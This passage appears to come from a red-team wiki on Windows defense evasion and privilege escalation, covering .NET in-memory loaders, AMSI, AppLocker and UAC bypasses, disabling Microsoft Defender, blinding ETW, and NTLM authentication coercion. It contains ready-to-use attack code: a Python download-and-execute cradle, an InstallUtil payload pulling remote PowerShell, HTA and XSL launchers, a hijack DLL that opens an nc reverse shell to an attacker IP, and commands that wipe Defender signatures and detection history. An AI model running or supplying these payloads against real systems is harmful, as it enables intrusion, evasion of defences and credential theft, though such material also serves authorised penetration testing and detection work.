        }
    }
}
```

{% endcode %}

## Dynamic P/Invoke

* <https://bohops.com/2022/04/02/unmanaged-code-execution-with-net-dynamic-pinvoke/>
* <https://github.com/bohops/DynamicDotNet>

## H/Invoke & NixImports

* <https://dr4k0nia.github.io/posts/HInvoke-and-avoiding-PInvoke/>
* <https://gist.github.com/dr4k0nia/95bd2dc1cc09726f4aaaf920b9982f9d>
* <https://dr4k0nia.github.io/posts/NixImports-a-NET-loader-using-HInvoke/>
* <https://github.com/dr4k0nia/NixImports>

## Parasite Invoke

* <https://github.com/MzHmO/Parasite-Invoke>


# .NET In-Memory Assembly

## Theory

* <https://www.ired.team/offensive-security/code-injection-process-injection/injecting-and-executing-.net-assemblies-to-unmanaged-process>
* <https://0xpat.github.io/Malware_development_part_9/>
* <https://blog.ropnop.com/hosting-clr-in-golang/>
* <https://lsecqt.github.io/Red-Teaming-Army/malware-development/executing-csharp-assemblies-from-c-code/>

### Embedding Mono

* <https://www.mono-project.com/docs/advanced/embedding/>
* <https://medium.com/@lewiscomstive/how-to-embed-c-scripting-into-your-c-application-782b2e57245a>

## CLR customizations

* <https://securityintelligence.com/x-force/being-a-good-clr-host-modernizing-offensive-net-tradecraft/>
* <https://github.com/xforcered/Being-A-Good-CLR-Host>

## PowerShell in C

* <https://blog.scrt.ch/2025/02/18/reinventing-powershell-in-c-c/>
* <https://github.com/scrt/PowerChell>

## Tools

* <https://github.com/etormadiv/HostingCLR>
* <https://github.com/3gstudent/Homework-of-C-Language/blob/master/HostingCLR_with_arguments_XOR.cpp>
* <https://github.com/mez-0/InMemoryNET>
* <https://github.com/b4rtik/metasploit-execute-assembly>
* <https://github.com/med0x2e/ExecuteAssembly>
* <https://github.com/anthemtotheego/InlineExecute-Assembly>
* <https://github.com/kyleavery/inject-assembly>
* <https://github.com/NtDallas/sharp-execute>
* <https://github.com/VoldeSec/PatchlessCLRLoader>
* <https://github.com/VoldeSec/PatchlessInlineExecute-Assembly>
* <https://github.com/racoten/BetterNetLoader>
* <https://github.com/EricEsquivel/Inline-EA>
* <https://github.com/NtDallas/MemLoader>
* <https://github.com/ofasgard/execute-assembly-pico>
* <https://github.com/entropy-z/PostEx-Arsenal/blob/master/Shellcode/Dotnet>
* <https://github.com/NtDallas/BOF_ExecuteAssembly>

### CLRvoyance

* <https://github.com/Accenture/CLRvoyance>
* <https://github.com/kyleavery/ThirdEye>
* <https://web.archive.org/web/20230601160135/https://www.accenture.com/us-en/blogs/cyber-defense/clrvoyance-loading-managed-code-into-unmanaged-processes>
* [https://github.com/moom825/CsharpRootkit/blob/main/64bit\_inject\_csharp\_run.asm](https://github.com/moom825/CsharpRootkit/blob/main/64bit%20inject%20c%23%20run.asm)


# .NET Reflective Assembly

* <https://blog.king-sabri.net/red-team/executing-c-assembly-in-memory-using-assembly.load>
* <https://pscustomobject.github.io/powershell/howto/PowerShell-Add-Assembly/>
* <https://www.praetorian.com/blog/running-a-net-assembly-in-memory-with-meterpreter>
* <https://github.com/S3cur3Th1sSh1t/PowerSharpPack#powersharppack>
* <https://github.com/GhostPack/Rubeus#sidenote-running-rubeus-through-powershell>
* <https://github.com/cfalta/PowerShellArmoury/blob/master/ConvertTo-Powershell.ps1>
* <https://github.com/LuemmelSec/Pentest-Tools-Collection/blob/main/tools/convert_c%23_to_ps1.ps1>
* <https://icyguider.github.io/2022/01/03/Convert-CSharp-Tools-To-PowerShell.html>
* <https://cyberstoph.org/posts/2020/09/convertto-powershell-wrapping-applications-with-ps/>

## IronPython Loader

* <https://www.huntress.com/blog/snakes-on-a-domain-an-analysis-of-a-python-malware-loader>
* <https://github.com/IronLanguages/ironpython3/releases>
* <https://pythonnet.github.io/>
* <https://github.com/BC-SECURITY/Empire/blob/master/empire/server/stagers/CSharpPy.yaml>
* <https://github.com/BC-SECURITY/IronSharpPack>

Cradle:

```python
>>> import urllib.request
>>> request = urllib.request.Request('http://10.10.13.37/loader.py')
>>> result = urllib.request.urlopen(request)
>>> payload = result.read()
>>> exec(payload)
```

Payload:

{% code title="loader.py" %}

```python
import clr
import zlib
import base64

clr.AddReference('System')
from System import *
from System.Reflection import *

b64 = base64.b64encode(zlib.decompress(base64.b64decode(b'<LOADER_BYTES_B64>'))).decode()
raw = Convert.FromBase64String(b64)

assembly = Assembly.Load(raw)
type = assembly.GetType('Loader.Program')
type.GetMethod('Main').Invoke(Activator.CreateInstance(type), None)
```

{% endcode %}


# AMSI Bypass

Antimalware Scan Interface

* <https://amsi.fail/>
* <https://github.com/subat0mik/whoamsi>
* <https://blog.f-secure.com/hunting-for-amsi-bypasses/>
* <https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell>
* <https://www.mdsec.co.uk/2018/06/exploring-powershell-amsi-and-logging-evasion/>
* <https://s3cur3th1ssh1t.github.io/Bypass_AMSI_by_manual_modification/>
* <https://pentestlaboratories.com/2021/05/17/amsi-bypass-methods/>
* <https://iwantmore.pizza/posts/amsi.html>
* <https://fluidattacks.com/blog/amsi-bypass-python/>
* <https://www.offsec.com/offsec/amsi-write-raid-0day-vulnerability/>

AMSI Test [Sample](https://gist.github.com/rasta-mouse/5cdf25b7d3daca5536773fdf998f2f08):

```
PS > Invoke-Expression "AMSI Test Sample: 7e72c3ce-861b-4339-8740-0ac1484c1386"
```

## Memory Patching

* <https://github.com/Mr-Un1k0d3r/AMSI-ETW-Patch>
* <https://www.blazeinfosec.com/post/tearing-amsi-with-3-bytes/>
* <https://github.com/ZeroMemoryEx/Amsi-Killer>

### Patch AmsiScanBuffer

* <https://rastamouse.me/memory-patching-amsi-bypass/>
* <https://github.com/rasta-mouse/AmsiScanBufferBypass/blob/main/AmsiBypass.cs>
* <https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell#patching-amsidll-amsiscanbuffer-by-rasta-mouse>
* <https://github.com/ShorSec/AMS-BP/blob/master/Source.cs>
* [0x00-0x00.github.io/research/2018/10/28/How-to-bypass-AMSI-and-Execute-ANY-malicious-powershell-code.html](https://0x00-0x00.github.io/research/2018/10/28/How-to-bypass-AMSI-and-Execute-ANY-malicious-powershell-code.html)

### Patch AMSI Provider

* <https://www.blackhat.com/asia-22/briefings/schedule/#amsi-unchained-review-of-known-amsi-bypass-techniques-and-introducing-a-new-one-26120>
* <https://github.com/deepinstinct/AMSI-Unchained/blob/main/InitializationInterception.ps1>
* <https://github.com/deepinstinct/AMSI-Unchained/blob/main/ScanInterception_x64.ps1>
* <https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell#patch-the-providers-dll-of-microsoft-mpoavdll>
* <https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell#scanning-interception>

List registered AMSI Providers (same as [AMSIProviders](https://github.com/GhostPack/Seatbelt/blob/fa0f2d94a049d825bef77e103e33167250ed2ac0/Seatbelt/Commands/Windows/AMSIProvidersCommand.cs)):

```powershell
$providers = Get-ChildItem "HKLM:\SOFTWARE\Microsoft\AMSI\Providers" -Name
foreach ($p in $providers) { Get-ItemProperty "HKLM:\SOFTWARE\Classes\CLSID\$p\InprocServer32" }
```

## Registry & Filesystem

* <https://www.pavel.gr/blog/neutralising-amsi-system-wide-as-an-admin>

{% embed url="<https://twitter.com/eversinc33/status/1666121784192581633>" %}

## Hardware Breakpoints (Patchless Bypass)

* <https://ethicalchaos.dev/2022/04/17/in-process-patchless-amsi-bypass/>
* <https://gist.github.com/CCob/fe3b63d80890fafeca982f76c8a3efdf>
* <https://gist.github.com/susMdT/360c64c842583f8732cc1c98a60bfd9e>
* <https://github.com/ShigShag/AMSI-Bypass-via-Page-Guard-Exceptions>

## Ghosting AMSI

* <https://medium.com/@andreabocchetti88/ghosting-amsi-cutting-rpc-to-disarm-av-04c26d67bb80>
* <https://github.com/andreisss/Ghosting-AMSI>
* <https://github.com/cod3nym/Ghosting-AMSI>
* <https://sabotagesec.com/love-for-microsoft-component-object-model-rpc-and-amsi-attack-surface/>


# Application Whitelist Bypass

* <https://bohops.com/2018/01/31/vsto-the-payload-installer-that-probably-defeats-your-application-whitelisting-rules/>
* <https://vanmieghem.io/stealth-outlook-persistence/>


# AppLocker Bypass

## AppLocker Bypass

* <https://github.com/api0cradle/UltimateAppLockerByPassList>
* <https://www.hackplayers.com/2018/12/english-cor-profilers-bypassing-windows.html>
* <https://0xdf.gitlab.io/2019/03/15/htb-ethereal-cor.html>
* <https://gitlab.com/0xdf/ctfscripts/tree/master/rev_shell_dll>
* <https://habr.com/ru/company/pt/blog/579516/>

### Enumeration

Check if there are any AppLocker rules:

```
PS > Get-AppLockerPolicy -Effective -Xml
PS > (Get-AppLockerPolicy -Local).RuleCollections
PS > Get-ChildItem -Path HKLM:\SOFTWARE\Policies\Microsoft\Windows\SrpV2 -Recurse
```

### InstallUtil

A combination of AppLocker and CLM bypass:

{% code title="BypassCLM.cs" %}

```csharp
using System;
using System.Management.Automation;
using System.Management.Automation.Runspaces;
using System.Configuration.Install;

namespace BypassCLM
{
    class Program
    {
        static void Main(string[] args)
        {
            Console.WriteLine("These aren't the droids you're looking for.");
        }
    }

    [System.ComponentModel.RunInstaller(true)]
    public class Sample : System.Configuration.Install.Installer
    {
        public override void Uninstall(System.Collections.IDictionary savedState)
        {
            string cmd = "IEX(New-Object Net.WebClient).DownloadString('http://10.10.13.37/run.txt')";
            Runspace rs = RunspaceFactory.CreateRunspace();
            rs.Open();
            PowerShell ps = PowerShell.Create();
            ps.Runspace = rs;
            ps.AddScript(cmd);
            ps.Invoke();
            rs.Close();
        }
    }
}
```

{% endcode %}

{% hint style="info" %}
Add a reference for the `System.Management.Automation` assembly before compilation from path:

```
C:\Windows\assembly\GAC_MSIL\System.Management.Automation\1.0.0.0__31bf3856ad364e35
```

{% endhint %}

Upload and execute:

```
Attacker > certutil -encode C:\Users\snovvcrash\Bypass.exe bypass.txt
Victim > bitsadmin /transfer job1 http://10.10.13.37/bypass.txt C:\Windows\System32\spool\drivers\color\bypass.txt
Victim > certutil -decode C:\Windows\System32\spool\drivers\color\bypass.txt C:\Windows\System32\spool\drivers\color\bypass.exe && del C:\Windows\System32\spool\drivers\color\bypass.txt
Victim > C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U C:\Windows\System32\spool\drivers\color\bypass.exe
```

### Microsoft.Workflow\.Compiler.exe

```
PS > C:\Windows\Microsoft.NET\Framework\v4.0.30319\Microsoft.Workflow.Compiler.exe info.xml payload.txt
```

{% code title="info.xml" %}

```xml
<?xml version="1.0" encoding="utf-8"?>
<CompilerInput xmlns:i="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://schemas.datacontract.org/2004/07/Microsoft.Workflow.Compiler">
<files xmlns:d2p1="http://schemas.microsoft.com/2003/10/Serialization/Arrays">
<d2p1:string>payload.txt</d2p1:string>
</files>
<parameters xmlns:d2p1="http://schemas.datacontract.org/2004/07/System.Workflow.ComponentModel.Compiler">
<assemblyNames xmlns:d3p1="http://schemas.microsoft.com/2003/10/Serialization/Arrays" xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler" />
<compilerOptions i:nil="true" xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler" />
<coreAssemblyFileName xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler"></coreAssemblyFileName>
<embeddedResources xmlns:d3p1="http://schemas.microsoft.com/2003/10/Serialization/Arrays" xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler" />
<evidence xmlns:d3p1="http://schemas.datacontract.org/2004/07/System.Security.Policy" i:nil="true" xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler" />
<generateExecutable xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler">false</generateExecutable>
<generateInMemory xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler">true</generateInMemory>
<includeDebugInformation xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler">false</includeDebugInformation>
<linkedResources xmlns:d3p1="http://schemas.microsoft.com/2003/10/Serialization/Arrays" xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler" />
<mainClass i:nil="true" xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler" />
<outputName xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler"></outputName>
<tempFiles i:nil="true" xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler" />
<treatWarningsAsErrors xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler">false</treatWarningsAsErrors>
<warningLevel xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler">-1</warningLevel>
<win32Resource i:nil="true" xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler" />
<d2p1:checkTypes>false</d2p1:checkTypes>
<d2p1:compileWithNoCode>false</d2p1:compileWithNoCode>
<d2p1:compilerOptions i:nil="true" />
<d2p1:generateCCU>false</d2p1:generateCCU>
<d2p1:languageToUse>CSharp</d2p1:languageToUse>
<d2p1:libraryPaths xmlns:d3p1="http://schemas.microsoft.com/2003/10/Serialization/Arrays" i:nil="true" />
<d2p1:localAssembly xmlns:d3p1="http://schemas.datacontract.org/2004/07/System.Reflection" i:nil="true" />
<d2p1:mtInfo i:nil="true" />
<d2p1:userCodeCCUs xmlns:d3p1="http://schemas.datacontract.org/2004/07/System.CodeDom" i:nil="true" />
</parameters>
</CompilerInput>
```

{% endcode %}

{% code title="payload.txt" %}

```csharp
using System;
using System.Diagnostics;
using System.Workflow.Activities;
 
public class Foo : SequentialWorkflowActivity {
      public Foo() {
          Process process = new Process();
          // Configure the process using the StartInfo properties.
          process.StartInfo.FileName = "powershell.exe";
          process.StartInfo.Arguments = "-WindowStyle Hidden -NoP -NoLogo -exec Bypass -enc <BASE64_PWSH_CMD>";
          process.StartInfo.WindowStyle = ProcessWindowStyle.Normal;
          process.Start();
          process.WaitForExit();
      }
}
```

{% endcode %}

### MSBuild

* <https://egre55.github.io/multi-stage-msbuild-applocker-bypass/>
* <https://github.com/Mr-Un1k0d3r/PowerLessShell>

### JScript and MSHTA

Full path to `.hta` file is required:

```
Cmd > mshta.exe \users\snovvcrash\cmd.hta
Cmd > mshta.exe http://10.10.13.37/cmd.hta
```

{% code title="cmd.hta" %}

```
<html>
<head>
<script language="JScript">
var shell = new ActiveXObject("WScript.Shell");
var res = shell.Run("cmd.exe");
</script>
</head>
<body>
<script language="JScript">
self.close();
</script>
</body>
</html>
```

{% endcode %}

## WMIC

```
Cmd > wmic os get /format:"evil.xsl"
Cmd > wmic process get brief /format:"http://10.10.13.37/evil.xsl"
```

{% code title="evil.xsl" %}

```
<?xml version='1.0'?>
<stylesheet version="1.0"
xmlns="http://www.w3.org/1999/XSL/Transform"
xmlns:ms="urn:schemas-microsoft-com:xslt"
xmlns:user="http://mycompany.com/mynamespace">
<output method="text"/>
	<ms:script implements-prefix="user" language="JScript">
		<![CDATA[
			var r = new ActiveXObject("WScript.Shell");
			r.Run("powershell.exe -WindowStyle Hidden -NoP -NoLogo -exec Bypass -enc <BASE64_PWSH_CMD>");
		]]>
	</ms:script>
</stylesheet>
```

{% endcode %}


# BYOVD

Bring Your Own Vulnerable Driver

* <https://www.loldrivers.io/>
* <https://alice.climent-pommeret.red/posts/process-killer-driver/>
* <https://z4ksec.github.io/posts/ioctlhunter-release-v0.2/>

## EDRSandblast

* [\[PDF\] EDR detection mechanisms and bypass techniques with EDRSandblast (Maxime Meignan, Thomas Diot)](https://github.com/wavestone-cdt/EDRSandblast/blob/DefCon30Release/DEFCON30-DemoLabs-EDR_detection_mechanisms_and_bypass_techniques_with_EDRSandblast-v1.0.pdf)
* <https://github.com/wavestone-cdt/EDRSandblast>
* <https://www.elastic.co/security-labs/forget-vulnerable-drivers-admin-is-all-you-need>
* <https://github.com/gabriellandau/EDRSandblast-GodFault>

### EDRSnowblast

* <https://v1k1ngfr.github.io/edrsnowblast/>

## Blinding EDR

**Wipe kernel callbacks, prevent EDR internal communication, etc.**

* <https://synzack.github.io/Blinding-EDR-On-Windows/>
* <https://sensepost.com/blog/2023/filter-mute-operation-investigating-edr-internal-communication/>

## Tools

* <https://github.com/Yaxser/Backstab>
* <https://github.com/ZeroMemoryEx/Blackout>
* <https://github.com/ZeroMemoryEx/Terminator>


# CLM Bypass

PowerShell Constrained Language Mode

* <https://github.com/calebstewart/bypass-clm>

## Recon

Check PowerShell language mode:

```
PS > $ExecutionContext.SessionState.LanguageMode
```

In-place functions:

```
PS > whoami
The term 'whoami.exe' is not recognized as the name of cmdlet...
PS > &{ whoami }
megacorp\snovvcrash
```

## Tools

* <https://github.com/p3nt4/PowerShdll>
* <https://github.com/iomoath/PowerShx>


# Defender

Microsoft Defender

* <https://github.com/0xsp-SRD/MDE_Enum>

Download stager without triggering Defender to scan it:

```
Cmd > "C:\Program Files\Windows Defender\MpCmdRun.exe" -DownloadFile -Url http://127.0.0.1/met.exe -Path C:\Users\user\music\met.exe
```

Coerce the victim machine to reach the attacker (to steal Net-NTLM):

```
Cmd > "C:\Program Files\Windows Defender\MpCmdRun.exe" -Scan -ScanType 3 -File '\\10.10.13.37\share\file'
```

## Exclusions

* <https://blog.fndsec.net/2024/10/04/uncovering-exclusion-paths-in-microsoft-defender-a-security-research-insight/>
* <https://github.com/Friends-Security/SharpExclusionFinder>

Add path to exclusions:

```
PS > $mimi = "C:\Users\user\music\mimi\x64\mimikatz.exe"
PS > Add-MpPreference -ExclusionPath $mimi [-AttackSurfaceReductionOnlyExclusions $mimi]
```

Test path for an exclusion:

```
PS > & "C:\Program Files\Windows Defender\MpCmdRun.exe" -Scan -ScanType 3 -File "C:\folder_to_check\|*"
```

## Disable Defender

* <https://github.com/mandiant/commando-vm#pre-install-procedures>
* <https://github.com/swagkarna/Defeat-Defender-V1.2>
* <https://github.com/APTortellini/DefenderSwitch>
* <https://github.com/dosxuz/DefenderStop>
* <https://gist.github.com/fiercebrute/46e0636c0eaf72dcd3df4e280b6792d6>
* <http://www.wxxy-sec.com/?p=154>
* gpedit.msc > *Administrative Templates* > *Windows Components* > *Microsoft Defender Antivirus* > *Real-time Protection* > *Turn off real-time protection* > *Enabled* ✔
* gpedit.msc > *Administrative Templates* > *Windows Components* > *Microsoft Defender Antivirus* > *Turn off Microsoft Defender Antivirus* > *Enabled* ✔

Disable real-time protection (proactive):

```
PS > Set-MpPreference -DisableRealTimeMonitoring $true
```

Disable scanning all downloaded files and attachments, disable AMSI (reactive):

```
PS > Set-MpPreference -DisableIOAVProtection $true
```

Remove signatures (if Internet connection is present, they will be downloaded again):

```
PS > cd "C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2008.9-0"
PS > .\MpCmdRun.exe -RemoveDefinitions -All
Or
Cmd > "%PROGRAMFILES%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
```

Clear threats history manually:

```
Cmd > del /S "C:\ProgramData\Microsoft\Windows Defender\Scans\History\Service\DetectionHistory\*"
```

## Lower Token Integrity

* <https://elastic.github.io/security-research/whitepapers/2022/02/02.sandboxing-antimalware-products-for-fun-and-profit/article/>
* <https://github.com/plackyhacker/SandboxDefender>
* <https://github.com/pwn1sher/KillDefender>
* <https://github.com/googleprojectzero/sandbox-attacksurface-analysis-tools>

## Windows Security Center API (WSC)

* <https://blog.es3n1n.eu/posts/how-i-ruined-my-vacation/>
* <https://github.com/es3n1n/defendnot>

## defendnot

* <https://github.com/es3n1n/defendnot>
* <https://www.huntress.com/blog/defendnot-detecting-malicious-security-product-bypass-techniques>


# ETW Block

Event Tracing for Windows

* <https://bmcder.com/blog/a-begginers-all-inclusive-guide-to-etw>
* <https://threadreaderapp.com/thread/1706772248802291929.html>

Blocking .NET ETW:

* <https://www.mdsec.co.uk/2020/03/hiding-your-net-etw/>

Blocking PowerShell ETW:

```powershell
[Reflection.Assembly]::LoadWithPartialName('System.Core').GetType('System.Diagnostics.Eventing.EventProvider').GetField('m_enabled','NonPublic,Instance').SetValue([Ref].Assembly.GetType('System.Management.Automation.Tracing.PSEtwLogProvider').GetField('etwProvider','NonPublic,Static').GetValue($null),0)
```


# Execution Policy Bypass

* <https://blog.netspi.com/15-ways-to-bypass-the-powershell-execution-policy/>
* <https://bestestredteam.com/2019/01/27/powershell-execution-policy-bypass/>


# Mimikatz

* <https://tools.thehacker.recipes/mimikatz>
* <https://blog.xpnsec.com/exploring-mimikatz-part-1/>
* <https://blog.xpnsec.com/exploring-mimikatz-part-2/>
* <https://www.praetorian.com/blog/inside-mimikatz-part1/>
* <https://www.praetorian.com/blog/inside-mimikatz-part2/>
* <https://blog.3or.de/mimikatz-deep-dive-on-lsadumplsa-patch-and-inject.html>

## Obfuscate Mimikatz

{% embed url="<https://youtu.be/9pwMCHlNma4>" %}

* <https://s3cur3th1ssh1t.github.io/Bypass-AMSI-by-manual-modification-part-II/>
* <https://s3cur3th1ssh1t.github.io/Building-a-custom-Mimikatz-binary/>

## Invoke-Mimikatz

* <http://clymb3r.wordpress.com/2013/04/09/modifying-mimikatz-to-be-loaded-using-invoke-reflectivedllinjection-ps1/>

### Update PS1

* <http://www.harmj0y.net/blog/redteaming/mimikatz-and-dcsync-and-extrasids-oh-my/>

Update the [`Invoke-Mimikatz.ps1`](https://github.com/BC-SECURITY/Empire/blob/master/data/module_source/credentials/Invoke-Mimikatz.ps1) PowerShell script:

1. Grab source code zip from the latest (or any one you want) [release](https://github.com/gentilkiwi/mimikatz/releases) of Mimikatz.
2. Open the solution in Visual Studio.
3. Select the **Second\_Release\_PowerShell** target option and compile for `Win32`.
4. Right-click on `mimikatz` solution > Properties > C/C++ > Set **Treat warnings as errors** to `No (/WX-)` > OK.
5. Compile for `x64`.
6. Transform the resulting `powerkatz` DLLs to base64 and replace the `$PEBytes32` and `$PEBytes64` vars at the bottom of `Invoke-Mimikatz.ps1` with a PowerShell script below.

{% code title="Update-InvokeMimikatz.ps1" %}

```powershell
$powerkatz32 = [System.IO.File]::ReadAllBytes("Win32\powerkatz.dll")
$powerkatz64 = [System.IO.File]::ReadAllBytes("x64\powerkatz.dll")
$encPowerkatz32 = [System.Convert]::ToBase64String($powerkatz32)
$encPowerkatz64 = [System.Convert]::ToBase64String($powerkatz64)
$invokeMimikatz = (New-Object Net.WebClient).DownloadString("https://github.com/BC-SECURITY/Empire/raw/master/empire/server/data/module_source/credentials/Invoke-Mimikatz.ps1") -replace '\$PEBytes32 = .*$', ('$PEBytes32 = ' + "'$encPowerkatz32'")
$invokeMimikatz -replace '\$PEBytes64 = .*$', ('$PEBytes64 = ' + "'$encPowerkatz64'") > Invoke-Mimikatz.ps1
```

{% endcode %}


# UAC Bypass

User Account Control

* <https://github.com/hfiref0x/UACME>
* <https://github.com/sailay1996/UAC_Bypass_In_The_Wild>
* <https://github.com/FuzzySecurity/PowerShell-Suite/tree/master/Bypass-UAC>

## Enumeration

Check current token privileges and UAC settings with Seatbelt:

```
PS > .\Seatbelt.exe TokenPrivileges UAC
```

## SystemPropertiesAdvanced.exe

`srrstr.dll` DLL hijacking.

* <https://egre55.github.io/system-properties-uac-bypass>

{% embed url="<https://youtu.be/krC5j1Ab44I?t=3570>" %}

{% code title="srrstr.c" %}

```c
// i686-w64-mingw32-g++ srrstr.c -lws2_32 -o srrstr.dll -shared

#include <windows.h>

BOOL WINAPI DllMain(HINSTANCE hinstDll, DWORD dwReason, LPVOID lpReserved) {
    switch(dwReason) {
        case DLL_PROCESS_ATTACH:
            WinExec("C:\\Users\\<USERNAME>\\Documents\\nc.exe 10.10.13.37 1337 -e powershell", 0);
        case DLL_PROCESS_DETACH:
            break;
        case DLL_THREAD_ATTACH:
            break;
        case DLL_THREAD_DETACH:
            break;
    }

    return 0;
}
```

{% endcode %}

Upload `srrstr.dll` to `C:\Users\%USERNAME%\AppData\Local\Microsoft\WindowsApps\` and check it:

```
PS > rundll32.exe srrstr.dll,xyz
```

Exec and get a shell ("requires an interactive window station"):

```
PS > cmd /c C:\Windows\SysWOW64\SystemPropertiesAdvanced.exe
```

## cmstp.exe

* [0x00-0x00.github.io/research/2018/10/31/How-to-bypass-UAC-in-newer-Windows-versions.html](https://0x00-0x00.github.io/research/2018/10/31/How-to-bypass-UAC-in-newer-Windows-versions.html)
* <https://gist.github.com/snovvcrash/56d51e535c3afd89a1e9e68c284553a6>

Compile from source, load and execute:

```
PS > Add-Type -TypeDefinition ([IO.File]::ReadAllText("$pwd\Source.cs")) -ReferencedAssemblies "System.Windows.Forms" -OutputAssembly "CMSTP-UAC-Bypass.dll"
PS > [Reflection.Assembly]::Load([IO.File]::ReadAllBytes("$pwd\CMSTP-UAC-Bypass.dll"))
PS > [CMSTPBypass]::Execute("C:\Windows\System32\cmd.exe")
```

Load from a weaponized PowerShell and execute:

```
PS > Bypass-UAC -C "C:\Windows\System32\cmd.exe"
```

## easinvoker.exe

* <https://github.com/sailay1996/UAC_Bypass_In_The_Wild/tree/master/FileSys_UAC_Bypass/uac_easinvoker>
* [https://github.com/g3tsyst3m/elevationstation/blob/main/elevationstation/elevationstation.cpp](https://github.com/g3tsyst3m/elevationstation/blob/ba521d9901c98458526c1790b2b0ed0b370796bc/elevationstation/elevationstation.cpp#L895-L903)

```
mkdir "\\?\C:\Windows "
mkdir "\\?\C:\Windows \System32"
copy c:\windows\system32\easinvoker.exe "C:\Windows \System32"
copy netutils.dll "C:\Windows \System32"
"C:\Windows \System32\easinvoker.exe"
del /q "C:\Windows \System32\*"
rmdir "C:\Windows \System32"
rmdir "C:\Windows \"
```

## fodhelper.exe

* <https://gist.github.com/netbiosX/a114f8822eb20b115e33db55deee6692>
* <https://binary-win.github.io/2025/08/22/UAC-Bypass.html>
* <https://v3ded.github.io/redteam/utilizing-programmatic-identifiers-progids-for-uac-bypasses>

## SilentCleanup

* <https://hausec.com/2020/10/30/using-a-c-shellcode-runner-and-confuserex-to-bypass-uac-while-evading-av/>
* <https://github.com/chryzsh/Aggressor-Scripts/tree/master/uac-bypass>

## SCM UAC Bypass

* <https://www.tiraniddo.dev/2022/03/bypassing-uac-in-most-complex-way.html>
* <https://gist.github.com/tyranid/c24cfd1bd141d14d4925043ee7e03c82>
* <https://whoamianony.top/posts/revisiting-a-uac-bypass-by-abusing-kerberos-tickets/>
* <https://github.com/wh0amitz/KRBUACBypass>

## Task Scheduler

* <https://www.zcgonvh.com/post/Advanced_Windows_Task_Scheduler_Playbook-Part.2_from_COM_to_UAC_bypass_and_get_SYSTEM_dirtectly.html>
* <https://github.com/zcgonvh/TaskSchedulerMisc/blob/master/schuac.cs>

## UAC Prompt Bombing

* <https://www.esentire.com/blog/new-botnet-emerges-from-the-shadows-nightshadec2>
* [\[YouTube\] How Hackers Become Admin (they just ask)](https://youtu.be/JpWbytYrL2s)

```powershell
try {throw ""} catch {while (-not $?){try {Start-Process wlrmdr.exe -ArgumentList "-s 3600 -f 0 -t _ -m _ -a 11 -u cmd.exe" -Verb RunAs} catch {Write-Error "" -ErrorAction SilentlyContinue}}}
```

## Tricks

Bypass UAC for file read/write:

```
Cmd > net use A: \\127.0.0.1\C$
Cmd > A:
Cmd > cd \Windows\System32
Cmd > echo test > test.txt
Cmd > dir test.txt
```


# Authentication Coercion

* <https://github.com/p0dalirius/windows-coerced-authentication-methods>
* <https://habr.com/ru/post/688682/>

{% hint style="info" %}
It's a good idea to check if **NTLMv1 downgrade** is possible when triggering the callbacks.
{% endhint %}

{% content-ref url="/pages/-MftDqGp10hjGBrtmaEF" %}
[NTLMv1 Downgrade](/pentest/infrastructure/ad/ntlm/ntlmv1-downgrade)
{% endcontent-ref %}

## Printer Bug (MS-RPRN)

{% embed url="<https://twitter.com/DebugPrivilege/status/1410158556540719104>" %}

Check if Spooler is running via Remote Registry:

```
$ rpcdump.py MEGACORP/snovvcrash:'Passw0rd!'@192.168.1.11 | grep -A2 -e MS-RPRN -e MS-PAR
```

### SpoolSample

* <https://github.com/leechristensen/SpoolSample>
* <https://github.com/S3cur3Th1sSh1t/PowerSharpPack/blob/master/PowerSharpBinaries/Invoke-Spoolsample.ps1>
* <https://github.com/0x00ach/stuff/blob/master/MS-RPRN.exe>
* <https://github.com/BeetleChunks/SpoolSploit>

```
Cmd > .\SpoolSample.exe 192.168.1.11 10.10.13.37
Cmd > .\SpoolSample.exe 192.168.1.11 attacker@80/test.txt
Cmd > .\SpoolSample.exe 192.168.1.11 attacker@SSL/test.txt
```

### dementor.py

* <https://gist.github.com/3xocyte/cfaf8a34f76569a8251bde65fe69dccc>

```
$ python dementor.py -d megacorp.local -u snovvcrash -p 'Passw0rd!' 10.10.13.37 DC01.megacorp.local
$ python dementor.py -d megacorp.local -u snovvcrash -p 'Passw0rd!' attacker@80/test.txt DC01.megacorp.local
$ python dementor.py -d megacorp.local -u snovvcrash -p 'Passw0rd!' attacker@SSL/test.txt DC01.megacorp.local
```

### printerbug.py

* [https://https://github.com/dirkjanm/krbrelayx/blob/master/printerbug.py](https://github.com/dirkjanm/krbrelayx/blob/master/printerbug.py)

```
$ python printerbug.py megacorp.local/snovvcrash:'Passw0rd!'@DC01.megacorp.local 10.10.13.37
$ python printerbug.py megacorp.local/snovvcrash:'Passw0rd!'@DC01.megacorp.local attacker@80/test.txt
$ python printerbug.py megacorp.local/snovvcrash:'Passw0rd!'@DC01.megacorp.local attacker@SSL/test.txt
```

## PetitPotam (MS-EFSR)

**CVE-2021-36942**

* <https://github.com/topotam/PetitPotam>
* <https://github.com/S3cur3Th1sSh1t/Creds/blob/master/PowershellScripts/Invoke-Petitpotam.ps1>
* <https://gist.github.com/leechristensen/fda130890fb3c194115e7b856640c30e>
* <https://github.com/ly4k/PetitPotam>

```
